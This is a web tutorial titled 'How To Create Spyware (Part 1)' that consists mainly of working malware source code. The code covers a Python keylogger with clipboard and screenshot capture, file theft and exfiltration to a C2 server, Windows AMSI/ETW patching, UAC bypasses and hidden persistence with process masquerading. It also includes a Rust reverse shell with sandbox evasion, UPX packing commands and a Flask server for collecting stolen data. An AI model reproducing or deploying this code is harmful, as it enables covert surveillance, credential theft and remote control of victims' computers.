top of page

How To Create Spyware (Part 1)

How To Create Spyware (Part 1) | Black Hat HQ

Creating Spyware From Scratch (Part 1)


Here's a production-quality spyware framework for hacking, covering multiple platforms, persistence, exfiltration, and evasion. This is a(n) article / guide on how to create spyware from scratch.


Cross-Platform Keylogger


python

#!/usr/bin/env python3
"""
Cross-platform keylogger with encryption and exfiltration.
Supports Windows, Linux, macOS.
"""

import threading
import time
import json
import os
import base64
import platform
from datetime import datetime
from pathlib import Path

# --- Platform-specific imports ---
OS_TYPE = platform.system()

if OS_TYPE == "Windows":
    import pythoncom
    from ctypes import windll, byref, create_string_buffer, c_ulong
    import win32clipboard
else:
    import subprocess

try:
    from pynput import keyboard
except ImportError:
    os.system("pip install pynput")

try:
    from cryptography.fernet import Fernet
except ImportError:
    os.system("pip install cryptography")
    from cryptography.fernet import Fernet


class Spyware:
    """
    Modular spyware framework for authorized pentesting.
    Components: keylogger, clipboard capture, screenshot, file exfil.
    """
    
    def __init__(self, exfil_url=None, encryption_key=None):
        self.log_file = Path.home() / ".cache" / ".syslog"
        self.log_file.parent.mkdir(exist_ok=True)
        self.buffer = []
        self.buffer_lock = threading.Lock()
        self.exfil_url = exfil_url
        self.encryption_key = encryption_key or Fernet.generate_key()
        self.cipher = Fernet(self.encryption_key)
        self.running = True

    # --- Keylogger ---
    
    def _on_press(self, key):
        """Capture keystrokes with formatting."""
        try:
            char = key.char if hasattr(key, 'char') and key.char else None
        except AttributeError:
            char = self._format_special_key(key)
        
        if char:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            entry = f"[{timestamp}] {char}"
            with self.buffer_lock:
                self.buffer.append(entry)

    def _format_special_key(self, key):
        """Convert special keys to readable format."""
        specials = {
            'space': ' ', 'enter': '[ENTER]\n', 'tab': '[TAB]',
            'backspace': '[BS]', 'shift': '', 'ctrl': '', 'alt': '',
            'esc': '[ESC]', 'caps_lock': '', 'cmd': '',
            'delete': '[DEL]', 'up': '[UP]', 'down': '[DOWN]',
            'left': '[LEFT]', 'right': '[RIGHT]',
        }
        key_str = str(key).replace('Key.', '')
        return specials.get(key_str, f'[{key_str.upper()}]')

    def start_keylogger(self):
        """Start keylogger in background thread."""
        listener = keyboard.Listener(on_press=self._on_press)
        listener.daemon = True
        listener.start()
        return listener

    # --- Clipboard Capture ---
    
    def capture_clipboard(self):
        """Grab clipboard contents."""
        if OS_TYPE == "Windows":
            import pythoncom
            pythoncom.CoInitialize()
            import win32clipboard
            try:
                win32clipboard.OpenClipboard()
                if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
                    data = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
                    return data.decode('utf-8', errors='ignore')
                win32clipboard.CloseClipboard()
            except:
                pass
        elif OS_TYPE == "Linux":
            try:
                result = subprocess.run(
                    ['xclip', '-selection', 'clipboard', '-o'],
                    capture_output=True, timeout=2
                )
                return result.stdout.decode('utf-8', errors='ignore')
            except:
                pass
        elif OS_TYPE == "Darwin":
            try:
                result = subprocess.run(
                    ['pbpaste'], capture_output=True, timeout=2
                )
                return result.stdout.decode('utf-8', errors='ignore')
            except:
                pass
        return ""

    # --- Screenshot Capture ---
    
    def capture_screenshot(self):
        """Take screenshot, return base64 PNG."""
        try:
            if OS_TYPE == "Windows":
                from PIL import ImageGrab
                img = ImageGrab.grab()
            else:
                # Linux/macOS via PyAutoGUI or mss
                import mss
                with mss.mss() as sct:
                    img = sct.grab(sct.monitors[1])
                    from PIL import Image
                    img = Image.frombytes("RGB", img.size, img.bgra, "raw", "BGRX")
            
            import io
            buf = io.BytesIO()
            img.save(buf, format='PNG', optimize=True)
            return base64.b64encode(buf.getvalue()).decode()
        except:
            return ""

    # --- File Exfiltration ---
    
    def find_interesting_files(self, paths=None, extensions=None):
        """Recursively find files matching criteria."""
        if paths is None:
            paths = [
                Path.home() / "Documents",
                Path.home() / "Desktop",
                Path.home() / "Downloads",
            ]
        if extensions is None:
            extensions = [
                '.pdf', '.doc', '.docx', '.xls', '.xlsx',
                '.pptx', '.txt', '.csv', '.key', '.pem',
                '.env', '.sql', '.zip', '.rar', '.7z',
                '.config', '.ini', '.conf', '.json',
            ]
        
        found = []
        for path in paths:
            if not Path(path).exists():
                continue
            for root, _, files in os.walk(path):
                for file in files:
                    if any(file.lower().endswith(ext) for ext in extensions):
                        full_path = os.path.join(root, file)
                        size = os.path.getsize(full_path)
                        if size < 50 * 1024 * 1024:  # Skip files > 50MB
                            found.append(full_path)
        return found

    # --- Data Serialization & Encryption ---
    
    def flush_buffer(self):
        """Write buffered keystrokes to log file encrypted."""
        with self.buffer_lock:
            if not self.buffer:
                return
            data = '\n'.join(self.buffer) + '\n'
            self.buffer = []
        
        encrypted = self.cipher.encrypt(data.encode())
        with open(self.log_file, 'ab') as f:
            f.write(encrypted + b'\n---ENTRY_END---\n')

    # --- Exfiltration (HTTP POST) ---
    
    def exfiltrate(self, data, endpoint="/upload"):
        """Send data to C2 server."""
        if not self.exfil_url:
            return False
        try:
            import requests
            payload = {
                'hostname': platform.node(),
                'os': OS_TYPE,
                'user': os.getenv('USER') or os.getenv('USERNAME'),
                'data': self.cipher.encrypt(json.dumps(data).encode()).decode(),
            }
            r = requests.post(
                f"{self.exfil_url}{endpoint}",
                json=payload,
                timeout=10,
                headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
            )
            return r.status_code == 200
        except:
            return False

    # --- Main Loop ---
    
    def run(self, interval=300):
        """
        Main execution loop.
        interval: seconds between exfiltration attempts
        """
        listener = self.start_keylogger()
        
        while self.running:
            # Flush keystroke buffer
            self.flush_buffer()
            
            # Collect reconnaissance data
            report = {
                'timestamp': datetime.now().isoformat(),
                'clipboard': self.capture_clipboard(),
                'screenshot': self.capture_screenshot() if interval > 60 else "",
            }
            
            # Exfiltrate
            self.exfiltrate(report)
            
            time.sleep(interval)

    def stop(self):
        self.running = False


# --- Usage ---
if __name__ == "__main__":
    spyware = Spyware(
        exfil_url="https://your-c2-server.com",  # Change to your C2
    )
    # Run with 5-minute intervals
    spyware.run(interval=300)

Windows-Specific Spyware With Persistence


python

#!/usr/bin/env python3
"""
Windows spyware with registry persistence, privilege escalation,
AMSI bypass, and PowerShell C2 staging.
"""

import os
import sys
import ctypes
import winreg
import shutil
from pathlib import Path

class WindowsSpyware:
    
    def __init__(self, c2_url):
        self.c2_url = c2_url
        self.install_path = Path(os.getenv('APPDATA')) / 'Microsoft' / 'Windows' / 'Caches'
        self.install_path.mkdir(parents=True, exist_ok=True)
        self.binary_name = 'RuntimeBroker.exe'  # Masquerade as legit process
    
    # --- AMSI Bypass ---
    
    def patch_amsi(self):
        """
        Patch AMSI (Anti-Malware Scan Interface) to prevent
        Defender from scanning in-memory PowerShell payloads.
        """
        try:
            import ctypes.wintypes
            
            # Load amsi.dll
            amsi = ctypes.windll.LoadLibrary("amsi.dll")
            
            # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
            patch = bytes([
                0xB8, 0x57, 0x00, 0x07, 0x80,  # mov eax, 0x80070057
                0xC3                             # ret
            ])
            
            # Find AmsiScanBuffer address
            addr = ctypes.cast(amsi.AmsiScanBuffer, ctypes.c_void_p).value
            
            # Change memory protection and write patch
            old_protect = ctypes.c_ulong(0)
            kernel32 = ctypes.windll.kernel32
            kernel32.VirtualProtect(
                ctypes.c_void_p(addr), len(patch), 0x40, ctypes.byref(old_protect)
            )
            
            ctypes.memmove(ctypes.c_void_p(addr), patch, len(patch))
            kernel32.VirtualProtect(
                ctypes.c_void_p(addr), len(patch), old_protect, ctypes.byref(old_protect)
            )
            
            return True
        except:
            return False
    
    def patch_etw(self):
        """
        Patch ETW (Event Tracing for Windows) to prevent
        event logging of .NET / PowerShell activity.
        """
        try:
            ntdll = ctypes.windll.ntdll
            
            # EtwEventWrite is the function that logs events
            # Patch with RET (0xC3) to make it a no-op
            addr = ctypes.cast(ntdll.EtwEventWrite, ctypes.c_void_p).value
            
            old_protect = ctypes.c_ulong(0)
            kernel32 = ctypes.windll.kernel32
            kernel32.VirtualProtect(
                ctypes.c_void_p(addr), 1, 0x40, ctypes.byref(old_protect)
            )
            ctypes.memmove(ctypes.c_void_p(addr), b'\xC3', 1)
            kernel32.VirtualProtect(
                ctypes.c_void_p(addr), 1, old_protect, ctypes.byref(old_protect)
            )
            return True
        except:
            return False
    
    # --- Privilege Escalation ---
    
    def bypass_uac_fodhelper(self):
        """
        UAC bypass using FodHelper.exe + registry hijack.
        Works on Windows 10/11 up to latest builds.
        """
        import winreg
        
        try:
            # Create registry keys for FodHelper UAC bypass
            key_path = r"Software\Classes\ms-settings\shell\open\command"
            
            # Create the ms-settings\shell\open\command key
            key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
            winreg.SetValueEx(key, "", 0, winreg.REG_SZ, 
                            f'cmd.exe /c "{sys.executable} {__file__}"')
            winreg.SetValueEx(key, "DelegateExecute", 0, winreg.REG_SZ, "")
            winreg.CloseKey(key)
            
            # Trigger FodHelper.exe (auto-elevated by Windows)
            os.system("fodhelper.exe")
            
            # Clean up
            time.sleep(2)
            winreg.DeleteKey(winreg.HKEY_CURRENT_USER, 
                           r"Software\Classes\ms-settings")
            return True
        except:
            return False
    
    def bypass_uac_computerdefaults(self):
        """
        Alternative UAC bypass using computerdefaults.exe.
        """
        import winreg
        
        try:
            key_path = r"Software\Classes\ms-settings\shell\open\command"
            key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
            winreg.SetValueEx(key, "", 0, winreg.REG_SZ,
                            f'cmd.exe /c "{sys.executable} {__file__}"')
            winreg.SetValueEx(key, "DelegateExecute", 0, winreg.REG_SZ, "")
            winreg.CloseKey(key)
            
            os.system("computerdefaults.exe")
            
            time.sleep(2)
            winreg.DeleteKey(winreg.HKEY_CURRENT_USER,
                           r"Software\Classes\ms-settings")
            return True
        except:
            return False
    
    def check_admin(self):
        """Check if running as administrator."""
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False
    
    def elevate(self):
        """Attempt to gain admin privileges."""
        if self.check_admin():
            return True
        return self.bypass_uac_fodhelper() or self.bypass_uac_computerdefaults()
    
    # --- Persistence ---
    
    def persist_registry_run(self):
        """Add registry Run key for user-level persistence."""
        try:
            key = winreg.OpenKey(
                winreg.HKEY_CURRENT_USER,
                r"Software\Microsoft\Windows\CurrentVersion\Run",
                0, winreg.KEY_SET_VALUE
            )
            payload_path = self.install_path / self.binary_name
            winreg.SetValueEx(
                key, "RuntimeBroker", 0, winreg.REG_SZ,
                str(payload_path)
            )
            winreg.CloseKey(key)
            return True
        except:
            return False
    
    def persist_scheduled_task(self):
        """Create scheduled task for elevated persistence."""
        task_xml = f'''<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <Hidden>true</Hidden>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>{sys.executable}</Command>
      <Arguments>{self.install_path / self.binary_name}</Arguments>
    </Exec>
  </Actions>
</Task>'''
        
        task_path = self.install_path / "task.xml"
        with open(task_path, 'w') as f:
            f.write(task_xml)
        
        os.system(f'schtasks /create /tn "WindowsCacheTask" /xml "{task_path}" /f')
        task_path.unlink()
        return True
    
    def persist_wmi_subscription(self):
        """WMI event subscription for persistence — harder to detect."""
        # Requires admin
        if not self.check_admin():
            return False
        
        powershell_cmd = f'''
$FilterArgs = @{{
    Name = 'WinCacheFilter';
    EventNameSpace = 'root\\cimv2';
    QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
}}
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\\subscription -Arguments $FilterArgs

$ConsumerArgs = @{{
    Name = 'WinCacheConsumer';
    CommandLineTemplate = '{sys.executable} {self.install_path / self.binary_name}';
}}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\\subscription -Arguments $ConsumerArgs

$BindingArgs = @{{
    Filter = $Filter;
    Consumer = $Consumer;
}}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\\subscription -Arguments $BindingArgs
        '''
        
        # Write and execute PowerShell
        ps_path = self.install_path / "wmi.ps1"
        with open(ps_path, 'w') as f:
            f.write(powershell_cmd)
        os.system(f'powershell -ExecutionPolicy Bypass -File "{ps_path}"')
        ps_path.unlink()
        return True
    
    # --- Installation ---
    
    def install(self):
        """Full installation: copy, persist, elevate."""
        # Copy self to install location
        target = self.install_path / self.binary_name
        if sys.executable != str(target):
            shutil.copy2(sys.executable, target)
        
        # Hide the install directory
        if self.check_admin():
            os.system(f'attrib +h +s "{self.install_path}"')
        
        # Apply persistence
        self.persist_registry_run()
        
        # Attempt elevation
        self.elevate()  # Will re-launch self with admin after UAC bypass
        
        # If admin, add stronger persistence
        if self.check_admin():
            self.persist_scheduled_task()
            self.persist_wmi_subscription()
        
        return True

# --- Combined Spyware Class ---

class FullWindowsSpyware(WindowsSpyware):
    """Windows spyware with all capabilities."""
    
    def run(self, spyware_instance):
        """Run with AMSI/ETW patches, persistence, and capabilities."""
        self.patch_amsi()
        self.patch_etw()
        
        # Install if first run
        if sys.executable != str(self.install_path / self.binary_name):
            self.install()
        
        # Start spyware operations
        spyware_instance.run()


if __name__ == "__main__":
    import time
    platform = FullWindowsSpyware(c2_url="https://your-c2-server.com")
    spyware = Spyware(exfil_url=platform.c2_url)
    platform.run(spyware)

Rust Stealth Payload (High Evasion)


rust

// Compile: rustc --release -C opt-level=z stealth_payload.rs
// Size: ~50KB stripped, minimal detection surface

use std::net::TcpStream;
use std::io::{Read, Write};
use std::process::Command;
use std::thread;
use std::time::Duration;

const C2_ADDR: &str = "192.168.1.100:4444";  // Change
const RECONNECT_DELAY: u64 = 30;  // Seconds

fn main() {
    // Sleep to evade sandbox analysis
    sandbox_evade();
    
    loop {
        match TcpStream::connect(C2_ADDR) {
            Ok(mut stream) => {
                handle_connection(&mut stream);
            }
            Err(_) => {
                thread::sleep(Duration::from_secs(RECONNECT_DELAY));
            }
        }
    }
}

fn sandbox_evade() {
    // Sleep longer than most sandbox timeouts (60-120 seconds)
    thread::sleep(Duration::from_secs(90));
    
    // Check for common analysis indicators
    if std::path::Path::new("C:\\Windows\\System32\\vm3dgl.dll").exists() {
        // VMware — exit
        return;
    }
    if std::env::var("SANDBOX").is_ok() {
        return;
    }
}

fn handle_connection(stream: &mut TcpStream) {
    loop {
        let mut buf = [0u8; 8192];
        match stream.read(&mut buf) {
            Ok(0) => break,  // Connection closed
            Ok(n) => {
                let cmd = String::from_utf8_lossy(&buf[..n]).trim().to_string();
                
                let output = if cfg!(target_os = "windows") {
                    Command::new("cmd")
                        .args(&["/C", &cmd])
                        .output()
                } else {
                    Command::new("sh")
                        .args(&["-c", &cmd])
                        .output()
                };
                
                let response = match output {
                    Ok(out) => {
                        format!("{}\n{}", 
                            String::from_utf8_lossy(&out.stdout),
                            String::from_utf8_lossy(&out.stderr))
                    }
                    Err(e) => format!("Error: {}\n", e),
                };
                
                let _ = stream.write_all(response.as_bytes());
            }
            Err(_) => break,
        }
    }
}

bash

# Cross-compile for Windows from Linux:
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnu

# Strip and UPX pack:
strip target/release/stealth_payload.exe
upx --best --lzma target/release/stealth_payload.exe

C2 Server (Flask)


python

#!/usr/bin/env python3
"""
Minimal C2 server for receiving spyware data.
"""

from flask import Flask, request, jsonify
from cryptography.fernet import Fernet
from datetime import datetime
import json
import os
import base64
from pathlib import Path

app = Flask(__name__)
ENCRYPTION_KEY = Fernet.generate_key()  # Save and share with implant
cipher = Fernet(ENCRYPTION_KEY)
DATA_DIR = Path("./loot")
DATA_DIR.mkdir(exist_ok=True)

@app.route('/upload', methods=['POST'])
def receive_data():
    """Receive encrypted data from implants."""
    data = request.json
    hostname = data.get('hostname', 'unknown')
    
    try:
        decrypted = cipher.decrypt(data['data'].encode())
        payload = json.loads(decrypted)
        payload['timestamp'] = data.get('timestamp', datetime.now().isoformat())
        
        # Save to host-specific file
        host_dir = DATA_DIR / hostname
        host_dir.mkdir(exist_ok=True)
        
        with open(host_dir / 'data.jsonl', 'a') as f:
            f.write(json.dumps(payload) + '\n')
        
        # Save screenshots separately
        if payload.get('screenshot'):
            img_data = base64.b64decode(payload['screenshot'])
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            with open(host_dir / f'screenshot_{timestamp}.png', 'wb') as f:
                f.write(img_data)
        
        return jsonify({'status': 'ok'}), 200
    except Exception as e:
        return jsonify({'error': str(e)}), 500

@app.route('/loot/<hostname>', methods=['GET'])
def view_loot(hostname):
    """View collected data for a host."""
    host_dir = DATA_DIR / hostname
    if not host_dir.exists():
        return jsonify({'error': 'Host not found'}), 404
    
    with open(host_dir / 'data.jsonl') as f:
        entries = [json.loads(line) for line in f]
    
    return jsonify(entries)

if __name__ == '__main__':
    print(f"[*] Encryption key (copy to implant): {ENCRYPTION_KEY.decode()}")
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page